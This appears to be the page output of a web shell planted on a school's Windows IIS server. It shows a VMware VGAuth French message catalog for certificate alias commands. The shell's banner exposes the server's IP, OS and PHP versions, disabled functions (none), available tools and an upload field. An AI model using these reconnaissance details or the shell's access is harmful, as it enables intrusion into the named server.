| Server IP : www.kowitt.ac.th / Your IP : 216.73.216.118 Web Server : Microsoft-IIS/7.5 System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 User : IUSR ( 0) PHP Version : 5.6.31 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /ProgramData/VMware/VMware VGAuth/msgCatalogs/messages/fr/ |
Upload File : |
############################################################## # Copyright (C) 2011-2017 VMware, Inc. All rights reserved. -- VMware Confidential ############################################################## # # French translation catalog. # # Please follow a few guidelines when editing this file: # . Try to maintain formatting (e.g., indentation and line breaks). # . Catalogs *must* be in UTF-8. # . Try to keep the file sorted by message id. # addsubj.fail = "%1$s : échec de l'ajout de l'alias pour l'utilisateur '%2$s' : %3$s.\n" addsubj.success = "%1$s : alias ajouté\n" addoptions.comment = "commentaire sur le sujet" addoptions.file = "Nom de fichier PEM" addoptions.global = "Ajouter le certificat au fichier de mappage global" addoptions.subject = "Le sujet SAML" addoptions.username = "Utilisateur dont le magasin de certificats est ajouté à" addoptions.verbose = "Opération en mode détaillé" cmdline.parse = "Échec de l'analyse de la ligne de commande" cmdline.summary.pemfile = "Fichier PEM" cmdline.summary.subject = "sujet" cmdline.summary.username = "nom d'utilisateur" cmdline.summary.comm = "commentaire" list.comment = "Commentaire" list.count = "%1$s a trouvé %2$d alias pour l'utilisateur '%3$s'\n" list.error = "%1$s : échec de la création de la liste d'alias pour l'utilisateur '%2$s' : %3$s.\n" list.subject = "Sujet" listmapped.count = "%1$s a trouvé %2$d alias mappés\n" listmapped.error = "%1$s : échec de la création de la liste d'alias mappés : %2$s.\n" listmapped.subject = "Sujet" listmapped.username = "Nom d'utilisateur" listoptions.username = "Utilisateur dont le magasin de certificats est demandé" listoptions.verbose = "Opération en mode détaillé" loadfile.fail = "%1$s : impossible de lire le fichier PEM '%2$s'\n" name.any = "<QUELCONQUE>" removesubj.fail = "%1$s : échec de la suppression de l'alias pour l'utilisateur '%2$s' : %3$s.\n" removesubj.success = "%1$s : alias supprimé\n" removeoptions.file = "Nom de fichier PEM" removeoptions.subject = "Le sujet SAML" removeoptions.username = "Utilisateur pour lequel le magasin de certificats est supprimé" removeoptions.verbose = "Opération en mode détaillé" vgauth.init.failed = "Échec de l'initialisation de VGAuth"